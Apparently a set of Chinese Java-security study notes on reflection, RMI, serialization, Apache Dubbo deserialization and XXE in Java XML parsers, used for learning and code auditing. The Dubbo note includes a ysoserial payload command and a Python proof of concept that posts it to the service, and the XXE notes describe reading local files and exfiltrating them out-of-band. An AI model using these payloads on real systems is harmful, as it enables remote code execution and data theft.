前面我们知道了反射机制能够做什么,但是java具体是怎么实现这一点的呢?这几涉及到java中的几个类:Class、Constructor、Method、Field,有过面向对象编程经验的同学都知道,一个类一般是抽象出了某一类事物的特征,例如下面这个Person类就抽象出了一个人的特征,并实现了一些操作这些特征的方法: 10 | 11 | ```java 12 | class Person{ 13 | private String name; 14 | private int age; 15 | private double height; 16 | private double weight; 17 | 18 | public String getName() { 19 | return name; 20 | } 21 | 22 | public void setName(String name) { 23 | this.name = name; 24 | } 25 | 26 | public int getAge() { 27 | return age; 28 | } 29 | 30 | public void setAge(int age) { 31 | this.age = age; 32 | } 33 | 34 | public double getHeight() { 35 | return height; 36 | } 37 | 38 | public void setHeight(double height) { 39 | this.height = height; 40 | } 41 | 42 | public double getWeight() { 43 | return weight; 44 | } 45 | 46 | public void setWeight(double weight) { 47 | this.weight = weight; 48 | } 49 | 50 | public void show(){ 51 | System.out.println("xxxxxx"); 52 | } 53 | } 54 | ``` 55 | 56 | 那么我们刚刚说的那几个和反射相关的类同样是这样的——Class类抽象出了java中类的特征并提供了一些方法,Constructor抽象出了java中所有的构造函数的特征以及提供一些方法....(最开始接触java安全的时候我就经常会被java的Class类型搞昏) 57 | 58 | 知道了这几个类之后,我们再回到怎么实现`调用一个对象的任意方法`这个问题上来,分三步走: 59 | 60 | 1. 首先获得这个对象对应的Class类的实例 61 | 2. 因为Class这个类存储着一个类的所有信息:属性、方法、构造函数....所以我们可以通过Class类的实例来获取你想要调用的那个方法 62 | 3. 拿到了对应的方法过后,我们可以给这个方法传入对应的参数来调用它。 63 | 64 | 上面是一个大体的流程,现在我们来看一下用代码怎么实现这三个流程: 65 | 66 | 为了后续更好地阐述,我们以通过反射调用下面这个User类的setName()方法为例: 67 | 68 | ```java 69 | class User{ 70 | private String name; 71 | private int age; 72 | 73 | @Override 74 | public String toString(){ 75 | return "User{" + "name=" +name + ", age="+age+"}"; 76 | } 77 | 78 | public String getName() { 79 | return name; 80 | } 81 | 82 | public void setName(String name) { 83 | this.name = name; 84 | } 85 | 86 | public int getAge() { 87 | return age; 88 | } 89 | 90 | public void setAge(int age) { 91 | this.age = age; 92 | } 93 | } 94 | ``` 95 | 96 | **1.获得User对象的Class类实例** 97 | 98 | 有三种方式获得Class类实例: 99 | ``` 100 | 1.调用Class类的静态方法forName获取某个类的Class类实例: 101 | Class clz = Class.forName("com.axin.User"); 102 | 103 | 2.访问某个类的class属性,这个属性就存储着这个类对应的Class类的实例: 104 | Class clz = com.axin.User.class; 105 | 106 | 3.调用某个对象的getClass()方法: 107 | Class clz = (new User()).getClass(); 108 | ``` 109 | 110 | **2.获取setName方法** 111 | 112 | 我们之前已经提到了Method这个类,java中所有的方法都是Method类型,所以我们通过反射机制获取到某个对象的方法也是Method类型的。通过Class对象获取某个方法: 113 | 114 | ``` 115 | clz.getMethod(方法名,这个方法的参数类型) 116 | 117 | 例: 118 | Method method = clz.getMethod("setName", String.class); 119 | ``` 120 | 121 | **3.调用setName方法** 122 | 123 | Method类中有一个invoke方法,就是用来调用特定方法的,用法如下: 124 | 125 | ![](reflect/invoke.png) 126 | 127 | 第一个参数是调用该方法的对象,第二个参数是一个可变长参数,是这个方法的需要传入的参数,描述的不够直观,直接看代码: 128 | 129 | ```java 130 | 接着上文代码: 131 | method.invoke((new User()), "axin"); 132 | 133 | 或者 134 | 135 | User user = new User(); 136 | method.invoke(user, "axin"); 137 | ``` 138 | 139 | 流程走完了,让我们来看看整体程序: 140 | 141 | ![](reflect/all.png) 142 | 143 | 可以看到我们成功调用setName方法,并设置name为“axin”。 144 | 145 | 146 | ### 0x03 147 | 148 | 除了调用一个对象的任意方法,我们还可以获得某个对象对应的类名、所有的属性以及所有的方法名,由于这些内容在编写exp中使用较少,就不写在这里了。 149 | 150 | -------------------------------------------------------------------------------- /6.java rmi基础.md: -------------------------------------------------------------------------------- 1 | ### 0x01基本概念 2 | 3 | RMI的全称是Rmote Method Invocation,即远程方法调用,具体怎么实现呢?远程服务器提供具体的类和方法,本地会通过**某种方式**获得远程类的一个代理,然后通过这个代理调用远程对象的方法,方法的参数是通过序列化与反序列化的方式传递的,所以,**1.** 只要服务端的对象提供了一个方法,这个方法接收的是一个Object类型的参数,**2.** 且远程服务器的classpath中存在可利用pop链,那么我们就可以通过在客户端调用这个方法,并传递一个精心构造的对象的方式来攻击rmi服务。 4 | 5 | ### 0x02 实现机制 6 | 7 | 上面说了本地会通过某种方式获得远程对象的代理,那么具体是怎么的实现机制呢?RMI模式中除了有Client与Server,还借助了一个Registry(注册中心)。 8 | 9 | |Server|Registry|Client| 10 | |:-:|:-:|:-:| 11 | |提供具体的远程对象|一个注册表,存放着远程对象的位置(ip、端口、标识符)|远程对象的使用者| 12 | 13 | 其中Server与Registry可以在同一服务器上实现,也可以布置在不同服务器上,现在一个完整的RMI流程可以大概描述为: 14 | 15 | 1. Registry先启动,并监听一个端口,一般为1099 16 | 2. Server向Registry注册远程对象 17 | 2. Client从Registry获得远程对象的代理(这个代理知道远程对象的在网络中的具体位置:ip、端口、标识符),然后Client通过这个代理调用远程方法,Server也是有一个代理的,Server端的代理会收到Client端的调用的方法、参数等,然后代理执行对应方法,并将结果通过网络返回给Client。 18 | 19 | 20 | 两图胜千言: 21 | 22 | 整体流程: 23 | ![](rmi/rmi2.png) 24 | ps: 图中的stub就是客户端代理,skeleton就是服务端代理,老外起的这英文名字我实在是理解不了~ 25 | 26 | 远程方法调用的通信模式: 27 | 28 | ![](rmi/rmi.png) 29 | 30 | > 不知道有没有人和我一样想过为什么需要这个注册表? 31 | 32 | ### 0x03 代码实现 33 | 34 | 我们已经知道了大体的流程了,那么用代码如何实现上述流程呢?我们自己动手创建一个项目吧,项目结构如下: 35 | 36 | ![](rmi/project.png) 37 | 38 | 1.首先创建一个接口Hello: 39 | 40 | ```java 41 | package model; 42 | 43 | import java.rmi.Remote; 44 | import java.rmi.RemoteException; 45 | 46 | public interface Hello extends Remote { 47 | public String welcome(String name) throws RemoteException; 48 | } 49 | 50 | ``` 51 | 52 | 2.基于这个接口实现一个类Helloimpl: 53 | 54 | ```java 55 | package model.impl; 56 | 57 | import model.Hello; 58 | 59 | import java.rmi.RemoteException; 60 | import java.rmi.server.UnicastRemoteObject; 61 | 62 | public class Helloimpl extends UnicastRemoteObject implements Hello { 63 | public Helloimpl() throws RemoteException { 64 | } 65 | 66 | @Override 67 | public String welcome(String name) throws RemoteException { 68 | return "Hello, "+name; 69 | } 70 | } 71 | ``` 72 | 73 | 3.创建服务端,服务端创建了一个注册表,并注册了客户端需要的对象 74 | 75 | ```java 76 | package server; 77 | 78 | import model.Hello; 79 | import model.impl.Helloimpl; 80 | import java.rmi.RemoteException; 81 | import java.rmi.registry.LocateRegistry; 82 | import java.rmi.registry.Registry; 83 | 84 | public class Server { 85 | public static void main(String[] args) throws RemoteException{ 86 | // 创建对象 87 | Hello hello = new Helloimpl(); 88 | // 创建注册表 89 | Registry registry = LocateRegistry.createRegistry(1099); 90 | // 绑定对象到注册表,并给他取名为hello 91 | registry.rebind("hello", hello); 92 | } 93 | } 94 | ``` 95 | 96 | 4.客户端调用远程对象 97 | 98 | ```java 99 | package client; 100 | import model.Hello; 101 | import java.rmi.NotBoundException; 102 | import java.rmi.RemoteException; 103 | import java.rmi.registry.LocateRegistry; 104 | import java.rmi.registry.Registry; 105 | 106 | public class Client { 107 | public static void main(String[] args) throws RemoteException, NotBoundException { 108 | // 获取到注册表的代理 109 | Registry registry = LocateRegistry.getRegistry("localhost", 1099); 110 | // 利用注册表的代理去查询远程注册表中名为hello的对象 111 | Hello hello = (Hello) registry.lookup("hello"); 112 | // 调用远程方法 113 | System.out.println(hello.welcome("axin")); 114 | } 115 | } 116 | ``` 117 | 118 | 先启动服务端,在启动客户端,客户端成功执行远程方法并获得返回的数据: 119 | 120 | ![](rmi/res.png) 121 | 122 | 在写代码的时候有几点需要注意: 123 | 1. 接口需要集成Remote接口,且方法需要抛出RemoteException错误 124 | 2. 接口的实现类需要继承UnicastRemoteObject,同样的方法需要抛出RemoteException错误 125 | 3. 如果远程方法需要传参,需要保证参数是可序列化的,我这里传参只是传了字符串,字符串是可序列化的,如果传参是自定义的对象,那么这个对象需要实现Serilizable接口 126 | 127 | 注意一点,由于我这里服务端与客户端都是在一台机器上实现的,所以看起来比较简单,如果服务端与客户端不在同一主机,需要保证调用的远程对象实现的那个接口在客户端与服务端都存在! 128 | 129 | ### 0x04 其他 130 | 131 | 到这里就差不多了,暂时满足我们后续学习rmi反序列化漏洞的需要,如果好奇rmi底层代码实现,可以再去读一下jdk的源码,这样会加深你对rmi的理解~ 132 | 133 | 放一篇从源码层面解析rmi实现的文章:https://xz.aliyun.com/t/2223 134 | 135 | 看文章的同时,最好结合着实践 136 | 137 | 138 | 139 | 140 | 141 | -------------------------------------------------------------------------------- /2.java序列化与反序列化.md: -------------------------------------------------------------------------------- 1 | ### 0x01 2 | 3 | - 什么是序列化与反序列化? 4 | - 序列化与反序列化的关键函数? 5 | - 反序列化过后的数据有啥特征? 6 | - java反序列化漏洞与php反序列化漏洞的相似之处? 7 | 8 | 这一章,我们只需要搞清楚前面三个问题就行了,其实java反序列化漏洞的原理很简单,只是各个POP链比较复杂。我会很浅显的介绍一下java的序列化~ 9 | 10 | ### 0x02 11 | 12 | 在我看来,java的序列化机制就是为了持久化存储某个对象或者在网络上传输某个对象。我们都知道,一旦jvm关闭,那么java中的对象也就销毁了,所以要想保存它,就需要把他转换为字节序列写到某个文件或是其它哪里。 13 | 14 | 序列化:把对象转换为字节序列 15 | 反序列化:把字节序列转换为对象 16 | 17 | ### 0x03 18 | 19 | 一个类对象要想实现序列化,必须满足两个条件: 20 | 21 | 1、该类必须实现 java.io.Serializable 对象。 22 | 23 | 2、该类的所有属性必须是可序列化的。~~如果有一个属性不是可序列化的,则该属性必须注明是短暂的。~~(这个咱先不关注) 24 | 25 | ### 0x04 26 | 27 | 要序列化一个对象,首先要创建OutputStream对象,再将其封装在一个ObjectOutputStream对象内,接着只需调用writeObject()即可将对象序列化,并将其发送给OutputStream(对象是基于字节的,因此要使用InputStream和OutputStream来继承层次结构)。 28 | 29 | 要反序列化出一个对象,需要将一个InputStream封装在ObjectInputStream内,然后调用readObject()即可。 30 | 31 | 看文字不够直观,咱们直接上代码(注意看注释): 32 | 33 | ```java 34 | import java.io.*; 35 | 36 | public class Test { 37 | 38 | public static void main(String[] args){ 39 | User user = new User("axin", 18, 180); 40 | try { 41 | // 创建一个FIleOutputStream 42 | FileOutputStream fos = new FileOutputStream("./user.ser"); 43 | // 将这个FIleOutputStream封装到ObjectOutputStream中 44 | ObjectOutputStream os = new ObjectOutputStream(fos); 45 | // 调用writeObject方法,序列化对象到文件user.ser中 46 | os.writeObject(user); 47 | 48 | System.out.println("读取数据:"); 49 | // 创建一个FIleInutputStream 50 | FileInputStream fis = new FileInputStream("./user.ser"); 51 | // 将FileInputStream封装到ObjectInputStream中 52 | ObjectInputStream oi = new ObjectInputStream(fis); 53 | // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型 54 | User user1 = (User)oi.readObject(); 55 | 56 | user1.info(); 57 | } catch (FileNotFoundException e) { 58 | e.printStackTrace(); 59 | } catch (IOException e) { 60 | e.printStackTrace(); 61 | } catch (ClassNotFoundException e) { 62 | e.printStackTrace(); 63 | } 64 | } 65 | } 66 | 67 | class User implements Serializable{ 68 | private String name; 69 | private int age; 70 | private float height; 71 | 72 | public User(String name, int age, float height) { 73 | this.name = name; 74 | this.age = age; 75 | this.height = height; 76 | } 77 | 78 | public void info(){ 79 | System.out.println("Name: "+name+", Age: "+age+", Height: "+height); 80 | } 81 | 82 | // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{ 83 | // System.out.println("[*]执行了自定义的readObject函数"); 84 | // } 85 | } 86 | ``` 87 | 88 | 程序执行过后会在当前目录下生成一个user.ser文件,并且反序列化过后会执行info方法,在终端上打印出User的信息: 89 | 90 | ![](serialization/ser.png) 91 | 92 | 可以看到按照预期执行了,成功生成了一个user.ser文件,这个文件里存放的就是反序列化过后的User类对象,我们看一下内容,这里借助一个linux下的小工具xxd查看内容: 93 | 94 | ![](serialization/xxd.png) 95 | 96 | xxd显示的结果,中间那一栏是文件的十六进制显示,最右边是字符显示。这里需要注意的特征值就是16进制显示时的前32位: 97 | 98 | AC ED:STREAM_MAGIC,声明使用了序列化协议,**从这里可以判断保存的内容是否为序列化数据。** (这是在黑盒挖掘反序列化漏洞很重要的一个点) 99 | 100 | 00 05:STREAM_VERSION,序列化协议版本。 101 | 102 | ### 0x05 103 | 104 | 上面已经说完了序列化的基础了,大家也应该知道如何实现一个对象的序列化与反序列化了,那么,漏洞点到底在哪里呢?如果你了解php的反序列化,那么你应该知道php反序列化一个对象时会自动触发`__weakup`、`__destruct`这些函数,如果这些函数当中有一些危险的操作,那么就可能导致漏洞的发生,同样的,java反序列化时会自动触发哪个函数呢?没错,就是readObject(),但是上面demo中的readObject()函数不是ObjectInputStream的方法吗,开发者又不可以控制,怎么会导致漏洞呢? 105 | 106 | 其实,java是支持自定义readObject与writeObject方法的,只要某个类中按照特定的要求实现了readObject方法,那么在反序列化的时候就会自动调用它,如果这个自定义的readObject方法里进行了一些危险操作,那么就会导致反序列化漏洞的发生了。试验一下:我们还是用上面的类,不过这次自定义User类的readObject方法,也就是去掉最后一点代码的注释,再次执行,查看结果: 107 | 108 | ![](serialization/custom_readobject.png) 109 | 110 | 可以看到,自定义的readObject的确执行了! 111 | 112 | 现在,我们在readObject中写上危险操作,比如执行系统命令,弹个wireshark: 113 | 114 | ![](serialization/wireshark.png) 115 | 116 | 当然,真实的应用中不会有人这么写,但是理儿就是这么个理儿,只是真实应用中危险操作比较隐蔽,不像我写的这么赤裸裸 117 | 118 | ### 0x06 119 | 120 | 我想,应该有人和我一样搞不太清楚java中的各种stream(FileOutputStream/BufferedOutputStream/DataOutputStream/ObjectOutputStream),这里放个参考资料,对理解序列化的代码有所帮助: 121 | https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | -------------------------------------------------------------------------------- /4.Apache Dubbo反序列化漏洞分析.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 这又是一个反序列化案例,其实没什么新奇的东西,本文只是记录一下我的分析过程。顺便认识一下apache dubbo 4 | 5 | Apache dubbo是一个是基于Java的高性能开源RPC框架。它支持dubbo,http,rmi,hessian等协议。本次问题出现在dubbo开启http协议后,会将消费者提交的request请求,在无安全校验的情况下直接交给了spring-web.jar进行处理,最终request.getInputStream()被反序列化,故存在反序列化漏洞 6 | 7 | ### 0x02影响范围 8 | 9 | 2.7.0 <= Apache Dubbo <= 2.7.4 10 | 2.6.0 <= Apache Dubbo <= 2.6.7 11 | Apache Dubbo = 2.5.x 12 | 13 | ### 0x03 复现 14 | #### 复现环境: 15 | - Windows 10 16 | - jdk 11 17 | - zookeeper 3.5.7 18 | - dubbo 2.7.3 19 | - commons-collections 4.0 20 | 21 | #### 0x04复现细节 22 | 这个漏洞要是黑盒利用的话还是有难点的,那就是要知道远程对象的路径是多少,在不知道这个路径的情况下是不能够利用的,所以这个漏洞是写不了通用poc的。 23 | 24 | 我们用官方案例搭建测试环境:https://github.com/apache/dubbo-samples/ ,选择其中的dubbo-samples-http案例,这个就是基于http协议的远程对象调用的案例。案例是基于maven的,所以只要用idea打开项目,会自动帮我们下载对应的依赖。注意,由于官方的案例使用的dubbo版本是不存在漏洞的,所以我们需要修改案例中的pom.xml文件,将dubbo的版本修改为`2.7.3`: 25 | 26 | ![](dubbo_unser/pom.png) 27 | 28 | 除此之外,为了弹出计算器,我们手动添加一下commons-collections4.jar到pom文件中: 29 | 30 | ```xml 31 | 32 | org.apache.commons 33 | commons-collections4 34 | 4.0 35 | 36 | ``` 37 | 38 | 注: 还有,可能zookeeper启动会占用端口8080与2181,所以,我们还需要修改http_provider.xml中的http端口: 39 | 40 | ![](dubbo_unser/http_provider.png) 41 | 42 | 当然,除了各种案例中所需的依赖,dubbo还需要zookeeper,这个也是需要我们自行安装的,下载地址:https://zookeeper.apache.org/releases.html 43 | 44 | 然后依次运行zookeeper,provider,在Provider启动过后,我们可以给consumer设置代理,然后用burp抓一下请求包,可以看到抓包内容如下: 45 | 46 | ![](dubbo_unser/burp.png) 47 | 48 | 可见实际上是向` /org.apache.dubbo.samples.http.api.DemoService`接口发送了一个post请求,而且发送的是序列化的数据,可以看到序列化数据的特征值: 49 | 50 | ![](dubbo_unser/aced0005.png) 51 | 52 | 然后我们利用ysoserial工具生成一个commonscollections4的payload,命令如下: 53 | 54 | `java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections4 "calc.exe" > payload.ser` 55 | 56 | 然后简单写一个python脚本发送该payload到对应的接口: 57 | 58 | ```python 59 | import requests 60 | # 本地测试的poc 61 | # 地址请自行修改 62 | url = " http://169.254.203.5:8181/org.apache.dubbo.samples.http.api.DemoService" 63 | headers = { 64 | "Content-Type": "application/x-java-serialized-object" 65 | } 66 | with open("./dubbo.ser", "rb") as file: 67 | payload = file.read() 68 | requests.post(url, data=payload, headers=headers, timeout=3, verify=False) 69 | ``` 70 | 71 | 运行该poc,就会触发弹出计算器了: 72 | 73 | ![](dubbo_unser/calc.png) 74 | 75 | ### 0x0 0x05漏洞分析 76 | 77 | 其实我在写这篇文章之前是看了别人的分析文章的,大概知道了就是一个POST请求的事情,然后我在自己分析的时候就在想这个post请求一定是提交到某个spring应用去了,然后我就翻了下jar包,发现有一个spring-web.jar,然后随便找了一下这个jar中的类,可以看到比较值得怀疑的文件夹: 78 | 79 | ![](dubbo_unser/spring_web.png) 80 | 81 | 然后翻了下这两个文件夹,最终觉得这个接口可能是处理http请求有关(毕竟命名已经这么赤裸裸了): 82 | 83 | ![](dubbo_unser/Httprequesthandler.png) 84 | 85 | 点进去,使用IDEA可以直接右键点击接口名,然后find implementations 86 | 87 | ![](dubbo_unser/impl.png) 88 | 89 | 可以找到上图中圈起来的那个实现类,这个类也是最可疑的是吧,然后跟进去看一眼: 90 | 91 | ![](dubbo_unser/httpinvoker.png) 92 | 93 | 然后我看到这几个方法,就知道确实是这里了(毕竟之前已经看过其他分析文章了),然后下了几个断点,发送了一下poc,成功触发了断点。这次就是这么幸运的捕捉到了漏洞的触发链23333. 94 | 95 | 上述只是我个人在捕捉漏洞利用链的一个记录... 96 | 97 | 最终反序列化的触发是在上图中的46行的`doReadRemoteInvocation`函数内,函数实现如下: 98 | 99 | ```java 100 | protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException { 101 | Object obj = ois.readObject(); 102 | if (!(obj instanceof RemoteInvocation)) { 103 | throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj)); 104 | } else { 105 | return (RemoteInvocation)obj; 106 | } 107 | } 108 | ``` 109 | 110 | 可以看到直接执行了`ois.readObject()`,而ois我们往上回溯一下来源:`ois=this.createObjectInputStream(this.decorateInputStream(request, is))`,而createObjectInputStream就是把一个inputStream正确的包装成ObjectInputStream,而decorateInputStream方法实现如下: 111 | 112 | ```java 113 | protected InputStream decorateInputStream(HttpServletRequest request, InputStream is) throws IOException { 114 | return is; 115 | } 116 | ``` 117 | 118 | 直接返回了第二个参数的值,那么第二个参数的值是多少呢?也就是is变量是多少呢?就是`request.getInputStream()`,其实就是我们post发送的值。所以,用户在知道远程对象接口的情况下,发送一个恶意的序列化数据,就可以攻击服务器 119 | 120 | 121 | ### 0x06 其他 122 | 123 | 这篇文章就单纯是一个记录,没有着重讲解整个利用链的细节,欲进一步了解利用链的细节,可以看看其他师傅的文章: 124 | 125 | https://mp.weixin.qq.com/s/CMA79NyeZN2e_nSxj8L-wQ 126 | 127 | 上面这篇文章的分析流程就比较中规中矩了,很nice 128 | 129 | 使用HTTP调用器暴露服务: http://www.shouce.ren/api/spring2.5/ch17s04.html 130 | 131 | -------------------------------------------------------------------------------- /15.XXE之XML解析常用库的使用案例.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 之前我们学习了DocumentBuilder这个XML解析类的使用方法,还展示了如何读取本地文件以及利用XXE外带数据,当然,也简单的提到了相应的防御方法,这一章,我们将学习其他一些JAVA中常用的XML解析方法。 4 | 5 | ### 0x02 javax.xml.parsers.SAXParser 6 | 7 | 使用方法如下: 8 | 9 | ```java 10 | import org.xml.sax.SAXException; 11 | 12 | import javax.xml.parsers.ParserConfigurationException; 13 | import javax.xml.parsers.SAXParser; 14 | import javax.xml.parsers.SAXParserFactory; 15 | import java.io.File; 16 | import java.io.IOException; 17 | 18 | public class Main { 19 | public static void main(String[] args) throws ParserConfigurationException, SAXException, IOException { 20 | SAXParserFactory factory = SAXParserFactory.newInstance(); 21 | SAXParser parser = factory.newSAXParser(); 22 | File file = new File("payload.xml"); 23 | SaxHandler handler = new SaxHandler(); 24 | parser.parse(file, handler); 25 | } 26 | } 27 | ``` 28 | 29 | 其中payload.xml还是上一章的那个xml文件,值得注意的的是,SaxParser在调用parse方法的时候有两个参数,其中一个是文件,另外一个是对应的handler,这个handler是我们自定义的,实现如下: 30 | 31 | ```java 32 | import org.xml.sax.Attributes; 33 | import org.xml.sax.SAXException; 34 | import org.xml.sax.helpers.DefaultHandler; 35 | 36 | public class SaxHandler extends DefaultHandler { 37 | @Override 38 | public void startDocument() throws SAXException { 39 | super.startDocument(); 40 | } 41 | 42 | @Override 43 | public void endDocument() throws SAXException { 44 | super.endDocument(); 45 | } 46 | 47 | @Override 48 | public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { 49 | super.startElement(uri, localName, qName, attributes); 50 | } 51 | 52 | @Override 53 | public void endElement(String uri, String localName, String qName) throws SAXException { 54 | super.endElement(uri, localName, qName); 55 | } 56 | 57 | // 此方法有三个参数 58 | // arg0是传回来的字符数组,其包含元素内容 59 | // arg1和arg2分别是数组的开始位置和结束位置 60 | @Override 61 | public void characters(char[] ch, int start, int length) throws SAXException { 62 | String content = new String(ch, start, length); 63 | System.out.println(content); 64 | super.characters(ch, start, length); 65 | } 66 | } 67 | ``` 68 | 69 | 该类继承自DefaultHandler,然后重写了几个比较关键的方法,当然不充些也是ok的,根据这些方法名大家应该能猜出这些方法的作用,比如startDocument这个方法,作用是当解析到xml文档开始处会执行这个方法,startElement就是解析到xml的Element开始处会被触发。这些方法都是自由定制的,可发挥空间很大~ 70 | 71 | 运行主类,控制到得到如下结果,成果读取到本地文件win.ini,说明XXE成功。 72 | 73 | ![](xxe1/saxparser.png) 74 | 75 | ### 0x03 org.dom4j.io.SAXReader 76 | 77 | 这是一个第三方的类,我们需要下载对应的jar包: 78 | 79 | https://dom4j.github.io/ 80 | 81 | 使用方法: 82 | 83 | ```java 84 | import org.dom4j.Document; 85 | import org.dom4j.DocumentException; 86 | import org.dom4j.Element; 87 | import org.dom4j.io.SAXReader; 88 | 89 | import javax.xml.parsers.SAXParser; 90 | import java.io.File; 91 | import java.util.List; 92 | 93 | public class Main2 { 94 | public static void main(String[] args) throws DocumentException { 95 | File file = new File("./payload.xml"); 96 | SAXReader saxReader = new SAXReader(); 97 | Document document = saxReader.read(file); 98 | // 获得根元素 99 | Element root = document.getRootElement(); 100 | // 获得根元素中的子元素 101 | List childs = root.elements(); 102 | // 遍历子元素,并打印出对应的键值 103 | for (Element child:childs){ 104 | String name = child.getName(); 105 | String text = child.getText(); 106 | System.out.println(name + ": " + text); 107 | } 108 | } 109 | } 110 | ``` 111 | 112 | 113 | ### 0x03 org.jdom2.input.SAXBuilder 114 | 115 | 同样是第三方类,下载jar包: 116 | 117 | http://www.jdom.org/dist/binary/jdom-2.0.6.zip 118 | 119 | 使用方法: 120 | 121 | ```java 122 | import org.jdom2.Document; 123 | import org.jdom2.Element; 124 | import org.jdom2.JDOMException; 125 | import org.jdom2.input.SAXBuilder; 126 | 127 | import java.io.File; 128 | import java.io.IOException; 129 | import java.util.List; 130 | 131 | public class Main3 { 132 | public static void main(String[] args) throws JDOMException, IOException { 133 | File file = new File("./payload.xml"); 134 | SAXBuilder saxBuilder = new SAXBuilder(); 135 | Document document = saxBuilder.build(file); 136 | Element root = document.getRootElement(); 137 | List childs = root.getChildren(); 138 | for(Element child:childs){ 139 | String name = child.getName(); 140 | String text = child.getText(); 141 | System.out.println(name+": "+text); 142 | } 143 | } 144 | } 145 | ``` 146 | 147 | ### 0x4 总结 148 | 149 | 其实能够解析xml的类库还有很多,这里只是列举了几个,更多可以参考: 150 | 151 | https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md 152 | 153 | 知道了这些类怎么解析xml,**我们在审计的时候就可以搜索对应的jar包,然后进一步看xml解析的类有没有被调用,被调用了然后再看对应的接口参数是否可控,如果可控还要观察这些解析类有没有相应的防御措施,比如禁用了外部实体等等**,关于XXE的防御,我们另起一节单独说说.... 154 | 155 | **引申阅读:** 156 | 157 | https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md 158 | -------------------------------------------------------------------------------- /14.XXE之DocumentBuilder.md: -------------------------------------------------------------------------------- 1 | java安全之xxe 2 | -- 3 | 4 | xxe这种漏洞无论是在php中还是java中,审计起来应该都是有迹可循的,在php中全局搜索特定函数,在java中需要找解析xml文档的类有没有被使用,所以,我们首先需要知道java有哪些常见的解析xml的类。 5 | 6 | ### DocumentBuilder基础使用 7 | 8 | ```java 9 | import org.w3c.dom.Document; 10 | import org.w3c.dom.Element; 11 | import org.w3c.dom.NodeList; 12 | import org.xml.sax.SAXException; 13 | 14 | 15 | import javax.xml.parsers.DocumentBuilder; 16 | import javax.xml.parsers.DocumentBuilderFactory; 17 | import javax.xml.parsers.ParserConfigurationException; 18 | import java.io.File; 19 | import java.io.IOException; 20 | 21 | public class Main { 22 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { 23 | File file = new File("./payload.xml"); 24 | 25 | DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); 26 | DocumentBuilder builder = factory.newDocumentBuilder(); 27 | Document doc = builder.parse(file); 28 | // 根据tag名获取标签,是不是很像js中的getElementByTagName函数 29 | NodeList nodeList = doc.getElementsByTagName("person"); 30 | Element element = (Element) nodeList.item(0); 31 | 32 | System.out.println("姓名:" + element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue()); 33 | System.out.println("年龄:" + element.getElementsByTagName("age").item(0).getFirstChild().getNodeValue()); 34 | } 35 | } 36 | ``` 37 | 38 | 其中payload.xml文件内容如下: 39 | 40 | ```xml 41 | 42 | 44 | ]> 45 | 46 | axin 47 | &test; 48 | 49 | ``` 50 | 51 | 这样就会读取本机的win.ini文件并打印到控制台: 52 | 53 | ![](xxe1/win_ini.png) 54 | 55 | 56 | ### javax.xml.parsers.DocumentBuilder 案例2 57 | 58 | 这个类导致的xxe漏洞感觉挺多的。微信支付,以及CVE-2017-12629都是由于这个类没有进行安全设置导致的。 59 | 60 | 用一个例子来学习一下这个类怎么导致xxe 61 | 62 | ```java 63 | import jdk.internal.org.xml.sax.SAXException; 64 | import org.w3c.dom.Document; 65 | import org.w3c.dom.NodeList; 66 | 67 | import javax.xml.parsers.DocumentBuilder; 68 | import javax.xml.parsers.DocumentBuilderFactory; 69 | import javax.xml.parsers.ParserConfigurationException; 70 | import java.io.IOException; 71 | 72 | public class ReadxmlByDom { 73 | private static DocumentBuilderFactory dbFactory = null; 74 | private static DocumentBuilder db = null; 75 | private static Document document = null; 76 | static{ 77 | try { 78 | dbFactory = DocumentBuilderFactory.newInstance(); 79 | // dbFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 80 | db = dbFactory.newDocumentBuilder(); 81 | } catch (ParserConfigurationException e) { 82 | e.printStackTrace(); 83 | } 84 | } 85 | 86 | public static void main(String args[]) throws IOException, SAXException, org.xml.sax.SAXException { 87 | document = db.parse(ReadxmlByDom.class.getResourceAsStream("/request.xml")); 88 | NodeList nodeList = document.getElementsByTagName("root"); 89 | String nodeValue = nodeList.item(0).getFirstChild().getNodeValue(); 90 | System.out.println(nodeValue); 91 | } 92 | } 93 | ``` 94 | 95 | request.xml如下: 96 | 97 | ```xml 98 | 99 | 101 | %remote; 102 | ]> 103 | 104 | ``` 105 | 106 | attack.xml如下: 107 | ```xml 108 | 109 | "> 110 | %int; 111 | %trick; 112 | ``` 113 | 114 | 上面的代码会读取并解析request.xml这个文件,由于没有进行安全配置,所以导致加载远程文件attack.xml,这个文件中的被解析后就会读取本地的`/tmp/test123`并把内容发送到http://127.0.0.1:8080/。 115 | 116 | 我在8080端口用spring boot构建了一个接受数据的web应用,代码如下: 117 | 118 | ```java 119 | 120 | import org.springframework.stereotype.Controller; 121 | import org.springframework.web.bind.annotation.RequestMapping; 122 | 123 | @Controller 124 | @RequestMapping("/test") 125 | public class TestController { 126 | 127 | @RequestMapping("") 128 | public String hello(String name) { 129 | System.out.println(name); 130 | return "welcome"; 131 | } 132 | } 133 | ``` 134 | 135 | 这个应用在接受到数据时,会将数据打印到控制台 136 | 137 | ![](xxe1/xxe_data.png) 138 | 139 | 140 | 141 | ### 防御方法 142 | 143 | ```java 144 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 145 | dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 146 | DocumentBuilder db = dbf.newDocumentBuilder(); 147 | Document document = db.parse(in); 148 | ``` 149 | 150 | serFeature是关键,设置了过后,再解析xml时会直接报错,如下: 151 | 152 | ![](xxe1/xxe_defence.png) 153 | 154 | 155 | ### 参考 156 | 157 | 